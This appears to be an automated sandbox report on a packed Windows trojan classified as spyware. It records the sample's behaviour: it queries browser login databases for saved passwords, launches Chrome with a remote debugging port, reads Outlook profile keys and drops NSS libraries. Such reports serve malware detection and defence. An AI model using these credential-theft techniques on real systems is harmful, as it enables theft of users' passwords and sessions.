Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49845 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7662C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,

0_2_6C7662C0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EAC60	0_2_6C5EAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BAC30	0_2_6C6BAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A6C00	0_2_6C6A6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DECC0	0_2_6C5DECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63ECD0	0_2_6C63ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AED70	0_2_6C6AED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70AD50	0_2_6C70AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C768D20	0_2_6C768D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76CDC0	0_2_6C76CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E4DB0	0_2_6C5E4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676D90	0_2_6C676D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67EE70	0_2_6C67EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C0E20	0_2_6C6C0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EAEC0	0_2_6C5EAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680EC0	0_2_6C680EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666E90	0_2_6C666E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2F70	0_2_6C6A2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64EF40	0_2_6C64EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6F10	0_2_6C5E6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720F20	0_2_6C720F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BEFF0	0_2_6C6BEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E0FE0	0_2_6C5E0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728FB0	0_2_6C728FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EEFB0	0_2_6C5EEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4840	0_2_6C6B4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C630820	0_2_6C630820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A820	0_2_6C66A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E68E0	0_2_6C6E68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618960	0_2_6C618960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636900	0_2_6C636900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC9E0	0_2_6C6FC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6149F0	0_2_6C6149F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6709A0	0_2_6C6709A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A9A0	0_2_6C69A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A09B0	0_2_6C6A09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65CA70	0_2_6C65CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698A30	0_2_6C698A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68EA00	0_2_6C68EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65EA80	0_2_6C65EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E6BE0	0_2_6C6E6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680BA0	0_2_6C680BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F8460	0_2_6C5F8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C644420	0_2_6C644420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A430	0_2_6C66A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6264D0	0_2_6C6264D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A4D0	0_2_6C67A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70A480	0_2_6C70A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C642560	0_2_6C642560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680570	0_2_6C680570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728550	0_2_6C728550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638540	0_2_6C638540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E4540	0_2_6C6E4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AA5E0	0_2_6C6AA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66E5F0	0_2_6C66E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D45B0	0_2_6C5D45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C650	0_2_6C63C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E6E0	0_2_6C63E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E6E0	0_2_6C67E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6046D0	0_2_6C6046D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C660700	0_2_6C660700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60A7D0	0_2_6C60A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62E070	0_2_6C62E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AC000	0_2_6C6AC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A8010	0_2_6C6A8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D8090	0_2_6C5D8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC0B0	0_2_6C6BC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F00B0	0_2_6C5F00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648140	0_2_6C648140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C656130	0_2_6C656130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C4130	0_2_6C6C4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E01E0	0_2_6C5E01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C668260	0_2_6C668260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678250	0_2_6C678250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B8220	0_2_6C6B8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AA210	0_2_6C6AA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7662C0	0_2_6C7662C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B22A0	0_2_6C6B22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AE2B0	0_2_6C6AE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C722370	0_2_6C722370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC360	0_2_6C6FC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676370	0_2_6C676370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8340	0_2_6C5E8340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E2370	0_2_6C5E2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C652320	0_2_6C652320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6343E0	0_2_6C6343E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6123A0	0_2_6C6123A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E3B0	0_2_6C63E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E3C40	0_2_6C5E3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C709C40	0_2_6C709C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1C30	0_2_6C5F1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A1CE0	0_2_6C6A1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71DCD0	0_2_6C71DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C643D00	0_2_6C643D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B1DC0	0_2_6C6B1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D3D80	0_2_6C5D3D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C729D90	0_2_6C729D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73BE70	0_2_6C73BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C765E60	0_2_6C765E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EDE10	0_2_6C6EDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C603EC0	0_2_6C603EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615F20	0_2_6C615F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C737F20	0_2_6C737F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D5F30	0_2_6C5D5F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68BFF0	0_2_6C68BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FDFC0	0_2_6C6FDFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C763FC0	0_2_6C763FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C601F90	0_2_6C601F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63D810	0_2_6C63D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6138E0	0_2_6C6138E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73B8F0	0_2_6C73B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BF8F0	0_2_6C6BF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED8E0	0_2_6C5ED8E0

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C603620 appears 74 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C719F30 appears 32 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C609B10 appears 85 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C63C5E0 appears 35 times

Source: file.exe, 00000000.00000002.2080260285.000000006F902000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: bsgzxsth ZLIB complexity 0.9949902254129703

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@17/37@6/7

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C640300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C640300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\4I1Y9GK0.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2078231185.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2064115001.000000001D252000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2078231185.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2064115001.000000001D252000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2078231185.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2064115001.000000001D252000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2078231185.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2064115001.000000001D252000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: file.exe, 00000000.00000002.2039349561.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT origin_url, username_value, password_value FROM logins;t
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2078231185.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2064115001.000000001D252000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2078231185.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2064115001.000000001D252000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2078231185.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2064115001.000000001D252000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1865525950.000000001D154000.00000004.00000020.00020000.00000000.sdmp, DHJECFCGHIDGHIDHDHIE.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2078231185.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2064115001.000000001D252000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2078231185.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2064115001.000000001D252000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2196,i,3722478039892456965,13615675496999425299,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2196,i,3722478039892456965,13615675496999425299,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2112000 > 1048576

Source: file.exe

Static PE information: Raw size of bsgzxsth is bigger than: 0x100000 < 0x198a00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2080218052.000000006F8ED000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2079988567.000000006CF01000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2037523332.00000000000FC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1669377238.0000000004B2B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2079988567.000000006CF01000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2037523332.00000000000FC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1669377238.0000000004B2B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2080218052.000000006F8ED000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;bsgzxsth:EW;bmqjtvuk:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;bsgzxsth:EW;bmqjtvuk:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x21255f should be: 0x20b63f

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: bsgzxsth
